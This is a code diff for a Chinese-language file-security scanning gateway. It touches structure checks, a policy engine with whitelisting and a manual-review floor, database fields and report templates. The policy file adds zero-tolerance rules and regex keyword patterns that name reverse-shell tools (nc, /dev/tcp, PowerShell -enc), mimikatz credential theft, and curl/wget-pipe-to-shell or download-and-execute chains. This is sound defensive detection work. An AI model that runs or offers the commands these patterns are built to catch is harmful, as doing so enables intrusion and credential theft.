".py", ".php", ".asp", ".jsp", ".html", ".htm", ".csv", ".log",
|
||||
".json", ".xml", ".yaml", ".yml", ".cfg", ".conf", ".ini", ".reg"}
|
||||
if ext not in TEXT_EXTS:
|
||||
return findings
|
||||
try:
|
||||
with open(path, "rb") as fh:
|
||||
head = fh.read(1024 * 1024) # 前 1MB
|
||||
if EICAR_BYTES in head:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine="structure", layer="L0",
|
||||
severity=Severity.HIGH.value, rule="EmbeddedEICAR",
|
||||
detail=f"文件内嵌 EICAR 测试病毒字节序列(文件大小 {size}B)",
|
||||
weight=35.0,
|
||||
)
|
||||
)
|
||||
except OSError:
|
||||
pass
|
||||
return findings
|
||||
|
||||
|
||||
def _check_zip_trailing_garbage(path: str) -> List[Finding]:
|
||||
"""检测 ZIP/OOXML 文件尾部是否有多余数据(假损坏/被篡改的典型模式)。
|
||||
|
||||
攻击者可能在 EOCD 记录 (PK\x05\x06) 之后追加任意字节,
|
||||
Python zipfile 能正常打开(只要中央目录完整),但这属于结构异常。
|
||||
"""
|
||||
findings: List[Finding] = []
|
||||
try:
|
||||
with open(path, "rb") as fh:
|
||||
fh.seek(0, 2)
|
||||
fsize = fh.tell()
|
||||
# 读尾部 64KB(EOCD 至少 22B,从后往前搜 PK\x05\x06)
|
||||
tail_size = min(64 * 1024, fsize)
|
||||
fh.seek(fsize - tail_size)
|
||||
tail = fh.read()
|
||||
|
||||
eocd_pos = tail.rfind(b"PK\x05\x06")
|
||||
if eocd_pos < 0:
|
||||
return findings # 没找到 EOCD,由其他 BadZipFile 路径处理
|
||||
|
||||
# EOCD 结构最小 22 字节,必须确保 22 字节完整 + comment_len 可读取
|
||||
if eocd_pos + 22 > len(tail):
|
||||
return findings # EOCD 被截断,不做判定
|
||||
|
||||
# EOCD comment_len 在偏移 20-21 (little-endian)
|
||||
eocd_comment_len = tail[eocd_pos + 20] | (tail[eocd_pos + 21] << 8)
|
||||
eocd_total = 22 + eocd_comment_len
|
||||
# comment_len 超过实际剩余大小也是异常,跳过
|
||||
if eocd_pos + eocd_total > len(tail):
|
||||
return findings
|
||||
|
||||
garbage = tail_size - eocd_pos - eocd_total
|
||||
|
||||
if garbage > 0:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine="structure", layer="L0",
|
||||
severity=Severity.MEDIUM.value, rule="MalformedStructure",
|
||||
detail=f"ZIP 尾部 EOCD 后存在 {garbage} 字节多余数据,疑似篡改或假损坏",
|
||||
weight=25.0,
|
||||
)
|
||||
)
|
||||
except OSError:
|
||||
pass
|
||||
return findings
|
||||
|
||||
|
||||
def _has_double_ext(filename: str) -> bool:
|
||||
"""判断文件名是否包含两个以上扩展名。"""
|
||||
"""判断文件名是否为双扩展名伪装。
|
||||
|
||||
正确逻辑:最后一个扩展名是 DANGEROUS_EXTS 里的危险可执行类型(黑名单基准,
|
||||
单一事实源),倒数第二个是安全/文档类(可能被攻击者故意放在前面伪装)。
|
||||
例如 invoice.docx.js → .js 危险 + .docx 安全 → True。
|
||||
"""
|
||||
name = os.path.basename(filename)
|
||||
parts = name.split(".")
|
||||
if len(parts) < 3:
|
||||
return False
|
||||
prefix_ext = "." + parts[-2].lower()
|
||||
suffix_ext = "." + parts[-1].lower()
|
||||
if suffix_ext not in SUSPICIOUS_DOUBLE_EXT:
|
||||
# 核心:以 DANGEROUS_EXTS 为单一事实源
|
||||
if suffix_ext not in DANGEROUS_EXTS:
|
||||
return False
|
||||
return prefix_ext in DANGEROUS_EXTS or prefix_ext in SUSPICIOUS_DOUBLE_EXT
|
||||
# 前缀必须是安全/文档类,才算"伪装"
|
||||
return prefix_ext in _SAFE_PREFIX_EXTS
|
||||
|
||||
|
||||
def _compatible_exts(real_ext: str, real_type: str) -> set[str]:
|
||||
|
||||
@@ -52,7 +52,7 @@ class ScanTask(Base):
|
||||
size: Mapped[int] = mapped_column(Integer, default=0)
|
||||
sha256: Mapped[str] = mapped_column(String(64), index=True)
|
||||
md5: Mapped[str] = mapped_column(String(32), default="")
|
||||
real_type: Mapped[str] = mapped_column(String(256), default="")
|
||||
real_type: Mapped[str] = mapped_column(String(512), default="")
|
||||
|
||||
status: Mapped[str] = mapped_column(String(16), default="pending", index=True)
|
||||
mode: Mapped[str] = mapped_column(String(16), default="sync")
|
||||
@@ -71,6 +71,11 @@ class ScanTask(Base):
|
||||
back_populates="task", cascade="all, delete-orphan", lazy="selectin"
|
||||
)
|
||||
|
||||
__table_args__ = (
|
||||
# 控制台高频查询: WHERE channel = X ORDER BY created_at DESC LIMIT N
|
||||
Index("ix_scan_tasks_channel_created", "channel", "created_at", postgresql_using="btree"),
|
||||
)
|
||||
|
||||
|
||||
class ScanFinding(Base):
|
||||
__tablename__ = "scan_findings"
|
||||
|
||||
@@ -99,18 +99,30 @@ class Policy:
|
||||
"""内网特征词表规则(L2B 引擎使用)。"""
|
||||
return self.raw.get("keyword_rules", []) or []
|
||||
|
||||
@property
|
||||
def keyword_whitelist(self) -> List[Dict[str, Any]]:
|
||||
"""关键词白名单。规则命中后,若 detail 包含 allowed_keywords 中任一子串 → 过滤。"""
|
||||
return self.raw.get("keyword_whitelist", []) or []
|
||||
|
||||
@property
|
||||
def yara_hash_whitelist_set(self) -> set[str]:
|
||||
"""YARA 哈希白名单(返回 MD5 集合,便于快速查询)。"""
|
||||
raw = self.raw.get("yara_hash_whitelist", []) or []
|
||||
return {str(entry.get("md5", "")).lower() for entry in raw if isinstance(entry, dict) and entry.get("md5")}
|
||||
|
||||
@property
|
||||
def yara_weights(self) -> Dict[str, float]:
|
||||
"""YARA 规则权重映射:规则名 → weight(0-100)。
|
||||
|
||||
从 policy.yaml 的 yara_rule_weights.{critical/high/medium/low} 展开。
|
||||
档位权重固定:critical=85 / high=65 / medium=45 / low=25。
|
||||
档位权重固定:critical=85 / high=60 / medium=30 / low=10
|
||||
(与 rules/*.yar 的 meta.risk_level 分档、binary.py 默认权重一致)。
|
||||
"""
|
||||
weights = {
|
||||
"critical": 85.0,
|
||||
"high": 65.0,
|
||||
"medium": 45.0,
|
||||
"low": 25.0,
|
||||
"high": 60.0,
|
||||
"medium": 30.0,
|
||||
"low": 10.0,
|
||||
}
|
||||
result: Dict[str, float] = {}
|
||||
for tier, weight in weights.items():
|
||||
@@ -289,15 +301,18 @@ class PolicyStore:
|
||||
def _load_db_or_yaml(self) -> Policy:
|
||||
"""优先 DB,回退 YAML。"""
|
||||
try:
|
||||
from sqlalchemy import select
|
||||
from app.db import SessionLocal
|
||||
from app.models import PolicyVersion
|
||||
|
||||
db = SessionLocal()
|
||||
try:
|
||||
pv = db.execute(
|
||||
select(PolicyVersion).order_by(PolicyVersion.created_at.desc())
|
||||
).scalar_one_or_none()
|
||||
# 用 ORM Query API — 直接返回 PolicyVersion 对象
|
||||
# 而不是 Row 对象(db.execute(select) 会返回 Row)
|
||||
pv = (
|
||||
db.query(PolicyVersion)
|
||||
.order_by(PolicyVersion.created_at.desc())
|
||||
.first() # 取最新一条,不管历史版本多少条
|
||||
)
|
||||
if pv:
|
||||
policy = Policy(
|
||||
version=pv.version,
|
||||
@@ -387,6 +402,7 @@ class PolicyEngine:
|
||||
real_type: str = "",
|
||||
engine_errors: Optional[List[str]] = None,
|
||||
encrypted: bool = False,
|
||||
md5: str = "",
|
||||
) -> Decision:
|
||||
"""综合所有信号产出最终裁决。
|
||||
|
||||
@@ -399,6 +415,8 @@ class PolicyEngine:
|
||||
5) 规则覆盖
|
||||
6) 权重累加评分
|
||||
7) 阈值裁决
|
||||
8) 复核区间上界校正
|
||||
9) 复核地板(步骤 5 声明 manual_review 的规则,只抬处置不抬分数)
|
||||
"""
|
||||
import logging
|
||||
|
||||
@@ -410,6 +428,38 @@ class PolicyEngine:
|
||||
|
||||
ext = (declared_ext or "").lower()
|
||||
|
||||
# ======================================================================
|
||||
# 步骤 -1:白名单过滤(优先级最高)
|
||||
# ======================================================================
|
||||
# 命中白名单的规则从 findings 中移除,不再参与任何后续裁决。
|
||||
# 包括:关键词白名单(按 rule + detail 子串匹配)+ YARA 哈希白名单。
|
||||
# ======================================================================
|
||||
wl_filtered: List[Finding] = []
|
||||
keyword_wl = policy.keyword_whitelist
|
||||
for f in findings:
|
||||
skip = False
|
||||
# 关键词白名单:detail 包含 allowed_keywords 任一子串
|
||||
if keyword_wl and f.engine == "keywords":
|
||||
for wl_entry in keyword_wl:
|
||||
if f.rule == wl_entry.get("rule"):
|
||||
allowed = wl_entry.get("allowed_keywords", [])
|
||||
if allowed and any(kw in f.detail for kw in allowed):
|
||||
skip = True
|
||||
logger.info(
|
||||
"白名单放行:rule=%s 命中关键词白名单 detail=%s",
|
||||
f.rule, f.detail,
|
||||
)
|
||||
break
|
||||
# YARA 哈希白名单:md5 在白名单集合中
|
||||
if not skip and f.engine == "yara":
|
||||
wl_set = policy.yara_hash_whitelist_set
|
||||
if wl_set and md5 and md5.lower() in wl_set:
|
||||
skip = True
|
||||
logger.info("白名单放行:YARA 命中但 MD5 在哈希白名单")
|
||||
if not skip:
|
||||
wl_filtered.append(f)
|
||||
findings = wl_filtered
|
||||
|
||||
# ======================================================================
|
||||
# 步骤 0:零容忍规则优先检查
|
||||
# ======================================================================
|
||||
@@ -519,14 +569,15 @@ class PolicyEngine:
|
||||
)
|
||||
|
||||
# 5) 规则覆盖优先处理
|
||||
override_findings: List[Finding] = []
|
||||
# action=reject 立即拒绝;action=manual_review 只登记"复核地板",
|
||||
# 不往分数里注 65 —— 地板在步骤 9 生效。
|
||||
review_floor = False
|
||||
for finding in findings:
|
||||
override = policy.rule_overrides.get(finding.rule)
|
||||
if not override:
|
||||
continue
|
||||
action = override.get("action", "manual_review")
|
||||
reason = override.get("reason") or f"规则 {finding.rule} 命中策略"
|
||||
override_findings.append(finding)
|
||||
triggered.append(
|
||||
{
|
||||
"type": "rule_override",
|
||||
@@ -546,12 +597,10 @@ class PolicyEngine:
|
||||
triggered=triggered,
|
||||
)
|
||||
if action == "manual_review":
|
||||
score = max(score, 65.0)
|
||||
review_floor = True
|
||||
|
||||
# 6) 其余信号按权重累加
|
||||
# 6) 全部信号按权重累加
|
||||
for finding in findings:
|
||||
if finding in override_findings:
|
||||
continue
|
||||
score += finding.weight
|
||||
if finding.severity in {Severity.HIGH.value, Severity.CRITICAL.value}:
|
||||
reasons.append(f"{finding.engine}:{finding.detail}")
|
||||
@@ -575,6 +624,12 @@ class PolicyEngine:
|
||||
if score >= policy.block_score:
|
||||
verdict, action = "malicious", "reject"
|
||||
|
||||
# 9) 复核地板:策略里声明 manual_review 的规则保证"不低于人工复核",
|
||||
# 与权重数值和 review_score 阈值解耦——调高 review_score 下界或调低
|
||||
# 这些规则的权重,都不会让它们覆盖的文件类型静默放行。
|
||||
if review_floor and action in ("pass", "pass_with_flag"):
|
||||
verdict, action = "suspicious", "manual_review"
|
||||
|
||||
reason = self._build_reason(verdict, reasons, score)
|
||||
return Decision(
|
||||
verdict=verdict,
|
||||
@@ -706,7 +761,9 @@ class PolicyEngine:
|
||||
if any("url" in f.rule.lower() or "link" in f.rule.lower() or "qr" in f.rule.lower()
|
||||
for f in findings):
|
||||
factors.append("external_url")
|
||||
if ext in {".exe", ".dll", ".elf", ".so", ".desktop", ".appimage", ".run", ".bin", ".deb", ".rpm"}:
|
||||
if ext in {".exe", ".dll", ".elf", ".so", ".desktop", ".appimage", ".run", ".bin", ".deb", ".rpm",
|
||||
".msi", ".msp", ".com", ".pif", ".scr", ".cpl", ".jar", ".war",
|
||||
".vbs", ".vbe", ".js", ".jse", ".ps1", ".bat", ".cmd", ".hta", ".lnk", ".cab", ".appx"}:
|
||||
factors.append("contains_executable")
|
||||
if ext == ".iso":
|
||||
factors.append("is_mountable_image")
|
||||
@@ -727,6 +784,14 @@ class PolicyEngine:
|
||||
advice = "文件结构正常,无特别提示"
|
||||
requires_macro = False
|
||||
|
||||
# 裁决已经是恶意/引擎不可判定时,"打开风险低"是自相矛盾的对外文案:
|
||||
# 摆渡系统会把这段展示给用户,等于告诉用户"被拦下的文件可以放心打开"。
|
||||
if verdict in {"malicious", "error", "reject"} and level != "critical":
|
||||
level = "critical"
|
||||
factors.append("verdict_rejected")
|
||||
advice = "该文件已被判定为恶意或不可判定,请勿打开,联系管理员处理"
|
||||
requires_macro = False
|
||||
|
||||
return {
|
||||
"level": level,
|
||||
"factors": factors,
|
||||
|
||||
@@ -34,6 +34,17 @@ _settings = get_settings()
|
||||
TEMP_ROOT = os.environ.get("MESHSAFE_TEMP_ROOT", "/tmp/meshsafe")
|
||||
|
||||
|
||||
def _clip(value: Any, limit: int) -> str:
|
||||
"""按列宽截断字符串。
|
||||
|
||||
外部可控的长度(libmagic 描述串、归档成员路径、用户文件名)一旦超出列宽,
|
||||
PostgreSQL 会拒绝整条 INSERT,连带同事务里的 scan_findings 一起丢失——
|
||||
被拒绝的文件反而查不到记录。宁可截断,也不能整条不落库。
|
||||
"""
|
||||
text = str(value or "")
|
||||
return text[:limit]
|
||||
|
||||
|
||||
@dataclass
|
||||
class ScanContext:
|
||||
"""一次扫描任务的上下文。"""
|
||||
@@ -95,12 +106,12 @@ class ScanOutcome:
|
||||
id=self.task_id,
|
||||
channel=self.channel,
|
||||
client_id=self.client_id,
|
||||
filename=self.file_info.get("filename", ""),
|
||||
declared_ext=self.file_info.get("declared_ext", ""),
|
||||
filename=_clip(self.file_info.get("filename", ""), 512),
|
||||
declared_ext=_clip(self.file_info.get("declared_ext", ""), 32),
|
||||
size=self.file_info.get("size", 0),
|
||||
sha256=self.file_info.get("sha256", ""),
|
||||
md5=self.file_info.get("md5", ""),
|
||||
real_type=self.file_info.get("real_type", ""),
|
||||
real_type=_clip(self.file_info.get("real_type", ""), 512),
|
||||
status="completed",
|
||||
mode=self.mode,
|
||||
verdict=self.verdict,
|
||||
@@ -122,7 +133,7 @@ class ScanOutcome:
|
||||
severity=f.severity,
|
||||
rule=f.rule,
|
||||
detail=f.detail,
|
||||
extracted_path=f.extracted_path,
|
||||
extracted_path=_clip(f.extracted_path, 1024),
|
||||
weight=f.weight,
|
||||
))
|
||||
|
||||
@@ -159,21 +170,37 @@ class ScanOutcome:
|
||||
)
|
||||
|
||||
def to_response(self, include_details: bool = True) -> Dict[str, Any]:
|
||||
"""对外接口响应组装。
|
||||
|
||||
设计原则:调用方拿了就用,不暴露内部权重、严重度、引擎层、
|
||||
策略链等实现细节。保留追溯所需的 task_id / file 哈希 / 时间戳。
|
||||
|
||||
对外暴露 4 个决策驱动字段:
|
||||
- action: 调用方直接据此决定放行/拦截/转人工
|
||||
- reason: 人可读的判定理由
|
||||
- task_id: 用于后续查询 / 审计追溯
|
||||
- file.*: 文件哈希与真实类型,用于追溯举证
|
||||
"""
|
||||
# file_info 里挑出调用方追溯需要的字段,其他(real_ext/declared_ext 等)砍
|
||||
fi = self.file_info or {}
|
||||
file_out = {k: fi.get(k) for k in (
|
||||
"filename", "sha256", "md5", "size", "real_type",
|
||||
) if fi.get(k) is not None}
|
||||
|
||||
# meta 只留耗时与时间戳,砍掉 engines/engine_errors/clamav/policy_version
|
||||
meta_out = {}
|
||||
for k in ("scan_duration_ms", "scanned_at"):
|
||||
if self.meta and k in self.meta:
|
||||
meta_out[k] = self.meta[k]
|
||||
|
||||
payload: Dict[str, Any] = {
|
||||
"task_id": self.task_id,
|
||||
"verdict": self.verdict,
|
||||
"score": self.score,
|
||||
"action": self.action,
|
||||
"reason": self.reason,
|
||||
"status": "completed",
|
||||
"file": self.file_info,
|
||||
"meta": self.meta,
|
||||
"open_risk": self.open_risk,
|
||||
"file": file_out,
|
||||
"meta": meta_out,
|
||||
}
|
||||
if include_details:
|
||||
payload["findings"] = [f.to_dict() for f in self.findings]
|
||||
payload["extracted"] = self.extracted
|
||||
payload["triggered"] = self.triggered
|
||||
return payload
|
||||
|
||||
|
||||
@@ -453,6 +480,7 @@ class Scanner:
|
||||
real_type=real_type,
|
||||
engine_errors=engine_errors,
|
||||
encrypted=encrypted,
|
||||
md5=root_info.get("md5", ""),
|
||||
)
|
||||
|
||||
# 计算 open_risk(独立于裁决结果,供人阅读)
|
||||
|
||||
@@ -172,10 +172,10 @@
|
||||
<h3>权重分档说明(来自 policy.yaml → yara_rule_weights)</h3>
|
||||
<div style="font-size:13px;color:#555;line-height:1.8;">
|
||||
<span class="chip chip-zt">critical → weight=85</span>
|
||||
<span class="chip chip-warn">high → weight=65</span>
|
||||
<span class="chip chip-info">medium → weight=45</span>
|
||||
<span class="chip chip-ok">low → weight=25</span>
|
||||
<span style="color:#888;margin-left:12px;">未配置的规则默认 weight=50</span>
|
||||
<span class="chip chip-warn">high → weight=60</span>
|
||||
<span class="chip chip-info">medium → weight=30</span>
|
||||
<span class="chip chip-ok">low → weight=10</span>
|
||||
<span style="color:#888;margin-left:12px;">未列出的规则沿用 rules/*.yar 中 meta.risk_level 推导出的同档权重</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -90,10 +90,11 @@
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="width:40px;">#</th>
|
||||
<th style="width:70px;">用例编号</th>
|
||||
<th style="width:30px;">#</th>
|
||||
<th style="width:50px;">结果</th>
|
||||
<th>样本文件</th>
|
||||
<th style="width:80px;">分类</th>
|
||||
<th style="width:80px;">层</th>
|
||||
<th style="width:180px;">期望裁决 · 规则</th>
|
||||
<th style="width:200px;">检测结论 · 规则</th>
|
||||
<th style="width:60px;">方向</th>
|
||||
@@ -106,6 +107,13 @@
|
||||
<tbody>
|
||||
{% for r in results %}
|
||||
<tr>
|
||||
<td>
|
||||
{% if r.case_id %}
|
||||
<span class="chip chip-info" style="font-family:monospace;font-size:11px;">{{ r.case_id }}</span>
|
||||
{% else %}
|
||||
<span style="color:#ccc;">—</span>
|
||||
{% endif %}
|
||||
</td>
|
||||
<td style="color:#999;font-size:12px;">{{ loop.index }}</td>
|
||||
<td class="{% if r.overall_ok %}pass-mark{% else %}fail-mark{% endif %}">
|
||||
{% if r.overall_ok %}✅{% else %}❌{% endif %}
|
||||
@@ -131,7 +139,7 @@
|
||||
{% if r.expected_rules %}
|
||||
<div style="margin-top:4px;">
|
||||
{% for rule in r.expected_rules %}
|
||||
<span class="chip chip-gray" style="font-family:monospace;font-size:10px;">{{ rule }}</span>
|
||||
<span class="chip chip-gray" style="font-size:10px;" title="{{ rule }}">{{ rule_labels.get(rule, rule) }}</span>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
@@ -144,7 +152,7 @@
|
||||
{% if r.actual_rules %}
|
||||
<div style="margin-top:4px;">
|
||||
{% for rule in r.actual_rules %}
|
||||
<span class="chip chip-{% if rule in r.expected_rules %}ok{% else %}info{% endif %}" style="font-family:monospace;font-size:10px;">{{ rule }}</span>
|
||||
<span class="chip chip-{% if rule in r.expected_rules %}ok{% else %}info{% endif %}" style="font-size:10px;" title="{{ rule }}">{{ rule_labels.get(rule, rule) }}</span>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% elif r.actual_verdict in ('pass', 'clean') %}
|
||||
|
||||
@@ -59,6 +59,15 @@ zero_tolerance_rules:
|
||||
- LnkWithAutoExec # LNK 快捷方式(Linux 不识别,保持检测)
|
||||
- ChmWithScript # CHM 帮助文件(Linux 默认不自动执行)
|
||||
|
||||
# ---- ClamAV 引擎检测 ----
|
||||
- Eicar-Test-Signature # EICAR 测试病毒(等保要求:检测到即阻断)
|
||||
|
||||
# ---- L3 高危关键词(白名单优先,剩余命中即阻断)----
|
||||
- ReverseShellNetcat # 反弹 Shell (nc/ncat//dev/tcp/bash -i)
|
||||
- ReverseShellPowershell # PowerShell 反弹 Shell (-enc)
|
||||
- CredentialStealer # 凭据窃取工具 (mimikatz/sekurlsa/wce/...)
|
||||
- CredentialExport # 凭据导出命令 (reg save/reg export/...)
|
||||
|
||||
# ---------- 文件类型白名单 ----------
|
||||
# 只允许这些类型通过。空列表表示不限制(不推荐生产使用)。
|
||||
allowed_extensions:
|
||||
@@ -127,6 +136,36 @@ allowed_extensions:
|
||||
- .rar
|
||||
- .7z
|
||||
- .tar
|
||||
|
||||
# --- 业务源码/脚本/数据(业务开发/运维合法上传)---
|
||||
- .java
|
||||
- .py
|
||||
- .js
|
||||
- .ts
|
||||
- .go
|
||||
- .c
|
||||
- .cpp
|
||||
- .cs
|
||||
- .sql
|
||||
- .sh
|
||||
- .log # 运维日志
|
||||
- .ini
|
||||
- .cfg
|
||||
- .conf
|
||||
- .properties
|
||||
|
||||
# --- 专业文档/素材 ---
|
||||
- .odt
|
||||
- .ods
|
||||
- .odp
|
||||
- .ttf # 字体文件
|
||||
- .otf
|
||||
- .dwg # CAD 图纸
|
||||
- .dxf
|
||||
- .stl
|
||||
- .fbx
|
||||
- .step
|
||||
- .iges
|
||||
- .gz
|
||||
- .bz2
|
||||
- .xz
|
||||
@@ -176,6 +215,12 @@ sandbox_required_extensions:
|
||||
# rule_name: [action, reason_override]
|
||||
# action 取值:pass / pass_with_flag / manual_review / reject / reject_and_notify
|
||||
rule_overrides:
|
||||
# 光闸口径:EXE/DLL/脚本一律不自动放行,最低人工复核。
|
||||
# 用 override 而不是靠 weight=30 恰好等于 review_score 下界来维持——
|
||||
# 数值巧合意味着把下界调到 >35 或把权重降一点,干净可执行文件就会静默放行。
|
||||
DangerousExecutableExtension:
|
||||
action: manual_review
|
||||
reason: "可执行/脚本类型文件,按光闸口径最低转人工复核"
|
||||
VBAShellInvocation:
|
||||
action: manual_review
|
||||
reason: "宏调用 Shell 但无自动执行入口,需人工复核"
|
||||
@@ -214,58 +259,60 @@ notification:
|
||||
max_reason_length: 500
|
||||
|
||||
# ---------- YARA 规则权重映射 ----------
|
||||
# 按规则名精细设定权重(0-100),覆盖 binary.py 里的默认 weight=50
|
||||
# 命中但不在下列名单中的规则 weight 保持默认值 50
|
||||
# 严重度分档由规则内 meta.risk_level 决定(critical/high/medium/low)
|
||||
# 档位权重与 rules/*.yar 的 meta.risk_level 一一对应(由 binary.py 读取 meta 得到
|
||||
# 默认严重度,再用本表覆盖为固定权重,保证规则文件与策略只有一处真相)。
|
||||
# critical=85(单独命中即 reject)/ high=60 / medium=30 / low=10
|
||||
# 只有 critical 一档可以独立越过 block_score=70;其余档位需与其他信号叠加。
|
||||
# 不在本表的规则:沿用 meta.risk_level 推导出的默认权重。
|
||||
yara_rule_weights:
|
||||
critical: # weight=85
|
||||
- C3_PHP_Webshell_Oneliner
|
||||
- C3_JSP_Webshell_RuntimeExec
|
||||
- C3_Webshell_Behinder
|
||||
- C1_PE_ProcessInjection
|
||||
- C8_Ransomware_Encryption
|
||||
- C8_Ransomware_LockBit
|
||||
- C8_Ransomware_BlackCat
|
||||
- C8_Ransomware_Conti
|
||||
- C1_PE_RAT_CommandControl
|
||||
- C3_JSP_Webshell_Deserialization
|
||||
- C3_JSP_Webshell_RuntimeExec
|
||||
- C3_PHP_Webshell_Oneliner
|
||||
- C3_Webshell_Behinder
|
||||
- C3_Webshell_CommandExecutionEcho
|
||||
- C3_Webshell_Godzilla
|
||||
- C7_Linux_ReverseShell_Bash
|
||||
- C7_Linux_ReverseShell_NC
|
||||
- C7_Linux_Rootkit_KernelModule
|
||||
high: # weight=65
|
||||
- C8_Ransomware_BlackCat
|
||||
- C8_Ransomware_Conti
|
||||
- C8_Ransomware_Encryption
|
||||
- C8_Ransomware_LockBit
|
||||
high: # weight=60
|
||||
- C1_PE_DLLHijacking
|
||||
- C1_PE_Downloader_Loader
|
||||
- C1_PE_LOLBin_Usage
|
||||
- C3_JSP_Webshell_MemoryShell
|
||||
- C3_PHP_Webshell_Obfuscated
|
||||
- C3_PHP_Webshell_VariableDeformation
|
||||
- C3_Webshell_CommandExecutionEcho
|
||||
- C3_Webshell_Godzilla
|
||||
- C1_PE_Downloader_Loader
|
||||
- C1_PE_RAT_CommandControl
|
||||
- C1_PE_LOLBin_Usage
|
||||
- C1_PE_Mutex_Persistence
|
||||
- C7_Linux_ReverseShell_Python
|
||||
- C7_Linux_ReverseShell_Perl
|
||||
- C7_Linux_ReverseShell_Socat
|
||||
- C7_Linux_Persistence_Crontab
|
||||
- C7_Linux_Persistence_SystemD
|
||||
- C3_Webshell_ASP_Classic
|
||||
- C3_Webshell_ASPNET
|
||||
- C3_Webshell_AntSword
|
||||
- C7_Linux_Persistence_AuthorizedKeys
|
||||
- C7_Linux_Persistence_Crontab
|
||||
- C7_Linux_Persistence_LD_PRELOAD
|
||||
- C8_Ransomware_VolumeShadow
|
||||
- C8_Ransomware_Note_Filename
|
||||
- C7_Linux_Persistence_SystemD
|
||||
- C7_Linux_ReverseShell_Perl
|
||||
- C7_Linux_ReverseShell_Python
|
||||
- C7_Linux_ReverseShell_Socat
|
||||
- C8_Mining_Monero
|
||||
- C8_Ransomware_Ryuk_Pseudo
|
||||
medium: # weight=45
|
||||
- C9_Packer_UPX
|
||||
- C9_Packer_Themida_VMP
|
||||
- C1_PE_DLLHijacking
|
||||
- C8_Ransomware_VolumeShadow
|
||||
medium: # weight=30
|
||||
- C1_PE_EntropyHighNetwork
|
||||
- C1_PE_Mutex_Persistence
|
||||
- C7_Linux_Miner_Generic
|
||||
- C7_Linux_ReverseShell_Misc
|
||||
- C7_Misc_Ruby_Lua_ReverseShell
|
||||
- C7_Network_Tools_Malicious
|
||||
- C3_Webshell_AntSword
|
||||
- C3_Webshell_ASPNET
|
||||
- C3_Webshell_ASP_Classic
|
||||
- C3_JSP_Webshell_Deserialization
|
||||
- C3_JSP_Webshell_MemoryShell
|
||||
- C3_Webshell_CommandExecutionEcho
|
||||
- C8_Ransomware_Note_Filename
|
||||
- C9_Packer_Themida_VMP
|
||||
low: # weight=10
|
||||
- C8_Ransomware_Extension_Blacklist
|
||||
low: # weight=25
|
||||
- C7_Linux_ReverseShell_Misc
|
||||
- C9_Packer_UPX
|
||||
|
||||
|
||||
# ---------- 内网特征词表引擎(P1)----------
|
||||
@@ -294,6 +341,168 @@ keyword_rules:
|
||||
weight: 30
|
||||
severity: medium
|
||||
|
||||
# ================================================================
|
||||
# 恶意行为特征词表(覆盖 CSV L3 全部 25 条用例)
|
||||
# ================================================================
|
||||
|
||||
# ---- 远程下载即执行(要有完整动作链,裸词不算;README 里的安装命令进复核而非直接拒)----
|
||||
# cross_line:命令换行/续行是本类特征最常见的绕过(curl \ + 下一行 | sh),
|
||||
# 拼接后仍要求"下载工具 + 执行动作"同框,散文里的多行文本不会凑出这条链。
|
||||
- name: RemoteDownloadExec
|
||||
match: regex
|
||||
pattern: "(?:\\b(?:curl|wget)\\b[^\\n]{0,120}\\|\\s*(?:ba|z|k|da)?sh\\b|\\b(?:curl|wget)\\b[^\\n]{0,120}(?:&&|;)\\s*(?:chmod\\s+\\+x|\\./)|(?:^|[^\\w$-])(?:iex|invoke-expression)\\b[^\\n]{0,60}(?:\\biwr\\b|invoke\\s*[-_]?\\s*web\\s*[-_]?\\s*request|invoke\\s*[-_]?\\s*rest\\s*[-_]?\\s*method|downloadstring)|\\b(?:iwr|invoke\\s*[-_]?\\s*web\\s*[-_]?\\s*request|invoke\\s*[-_]?\\s*rest\\s*[-_]?\\s*method)\\b[^\\n]{0,120}\\|\\s*(?:iex|invoke-expression)\\b|certutil\\s+[-/]urlcache[^\\n]{0,60}\\.exe\\b|mkfifo[^\\n]{0,60}(?:\\bnc\\s|\\bnetcat\\b))"
|
||||
ignore_case: true
|
||||
cross_line: true
|
||||
weight: 40
|
||||
severity: critical
|
||||
|
||||
# ---- 下载并落地成可执行文件(dropper 行为,比"下载即执行"弱一档但仍高危)----
|
||||
- name: PayloadDropToDisk
|
||||
match: regex
|
||||
pattern: "(?:\\b(?:curl|wget)\\b[^\\n]{0,120}(?:-o|-O|--output)\\s+\\S*\\.(?:exe|dll|ps1|bat|cmd|vbs|jar|msi|so|bin)\\b|\\b(?:i\\s*[-_]?\\s*wr|invoke\\s*[-_]?\\s*web\\s*[-_]?\\s*request|invoke\\s*[-_]?\\s*rest\\s*[-_]?\\s*method)\\b[^\\n]{0,120}-o(?:utfile)?\\s+\\S*\\.(?:exe|dll|ps1|bat|cmd|vbs)\\b|\\b(?:new-object|activexobject)\\s+system\\.net\\.webclient[^\\n]{0,80}downloadfile)"
|
||||
ignore_case: true
|
||||
cross_line: true
|
||||
weight: 45
|
||||
severity: critical
|
||||
|
||||
# ---- 外部下载动作(cmdlet/API + 无执行链):计分进复核,不再零容忍 ----
|
||||
# cmdlet 名(Invoke-WebRequest/Invoke-RestMethod/BitsAdmin)是 PowerShell 专有写法,
|
||||
# 单独出现即进复核。.NET/Win32 的方法名(DownloadString/DownloadFile)不一样——
|
||||
# 它们存在于所有托管程序的标识符表里,裸匹配实测把 nvidiaInspector.exe 的
|
||||
# `add_DownloadFileCompleted`、`DownloadFileAsync` 各算一次命中,白送 30 分,
|
||||
# 把 45 分的人工复核顶成 75 分拒绝。所以方法名必须与 URL/IP 同框才算下载。
|
||||
- name: RemoteDownloadPowerShell
|
||||
match: regex
|
||||
pattern: "(?:\\b(?:Invoke-WebRequest|Invoke-RestMethod|Start-BitsTransfer|BitsAdmin)\\b|\\bDownload(?:String|File)\\b[^\\n]{0,40}(?:https?://|\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})|(?:https?://|\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})[^\\n]{0,40}\\bDownload(?:String|File)\\b)"
|
||||
ignore_case: true
|
||||
weight: 30
|
||||
severity: medium
|
||||
|
||||
# ---- 下载工具 + 明确地址:只认"工具与 URL/IP 同框",裸 -o 参数不算 ----
|
||||
